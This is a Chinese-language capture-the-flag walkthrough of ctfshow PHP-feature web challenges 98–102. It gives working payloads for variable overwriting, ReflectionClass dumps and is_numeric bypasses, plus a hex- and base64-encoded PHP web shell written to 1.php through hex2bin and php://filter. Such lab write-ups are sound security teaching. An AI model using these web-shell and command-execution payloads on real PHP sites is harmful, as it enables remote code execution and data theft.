ctfshow web入门 php特性web98-102

1.web98

ctfshow web入门 php特性web98-102_第1张图片
get会被post方式覆盖,传入的参数需要等于flag,才能读取到flag值,如果直接传http_flag=flag,返回的结果会是一个空数组,因为get变量被覆盖了,而post没有传参
payload:
get 1=1
post HTTP_FLAG=flag

2.web99

ctfshow web入门 php特性web98-102_第2张图片
array_push在数组末尾添加内容
rand(min,max)返回一个在min和max区间的随机数字
file_put_content往一个文件中写内容
弱比较,1.php==1
1出现的次数多,最有可能
payload:
n=1.php
content=

3.web100

ctfshow web入门 php特性web98-102_第3张图片
运算符优先级=大于and,or,=小于||,&&,and或&&都表示逻辑与,而or或||都表示逻辑或
所以只需要v1传入的数字即可


$a=6 and 0;     #直接赋值
var_dump($a);   #6
$b=5 &&0;       #先进行逻辑与运算,之后在赋值
var_dump($b);   #false
?>

php反射类,可以理解为是类的一个映射,可以方便在不知道类的定义的具体内容实现访问类的变量,函数等
php一个例子


class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
    echo "hello
"
; } } $a=new ReflectionClass('A'); var_dump($a->getConstants()); 获取一组常量 输出 array(1) { ["PI"]=> float(3.14) } var_dump($a->getName()); 获取类名 输出 string(1) "A" var_dump($a->getStaticProperties()); 获取静态属性 输出 array(1) { ["flag"]=> string(15) "flag{123123123}" } var_dump($a->getMethods()); 获取类中的方法 输出 array(1) { [0]=> object(ReflectionMethod)#2 (2) { ["name"]=> string(5) "hello" ["class"]=> string(1) "A" } }

过滤少了,所以可以直接命令执行
payload:

v1=1&v2=var_dump($ctfshow)/*&v3=*/;
#直接构造反射类,能输出里面的变量内容
v1=1&v2=echo new ReflectionClass&v3=;

flag注意格式
e30aad3a0x2dd5e60x2d44120x2da3370x2db212221ac3f7
0x2d是-的16进制

4.web101

ctfshow web入门 php特性web98-102_第4张图片
和上题一样
payload:

v1=1&v2=echo new ReflectionClass&v3=;

注意flag值还少了一位,爆破,或一个一个试

5.web102

ctfshow web入门 php特性web98-102_第5张图片
v2必须有数字

$a=';       //为什么用这个,主要是因为编码后带e,或者是编码后全部是数字
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64
//输出   5044383959474e6864434171594473
带e会被当做科学计数法,而base64去掉等号,不影响解码
bin2hex把ascii码转为16进制

payload:

php5中is_numeric函数认识16进制数,而php7这个函数不识别16进制数,
hex2bin将16进制转换为ascii码,的16进制编码为0x3c3f706870206576616c28245f504f53545b315d293b3f3e
php5:
v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin
之后访问1.php
php7:
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php 
post: v1=hex2bin
需要随便填充一些数字,从第二个字符开始截取的(也就是第三个,是从0开始的)
之后访问1.php

ctfshow php特性

你可能感兴趣的:(ctfshow通关,php,前端,开发语言,网络安全)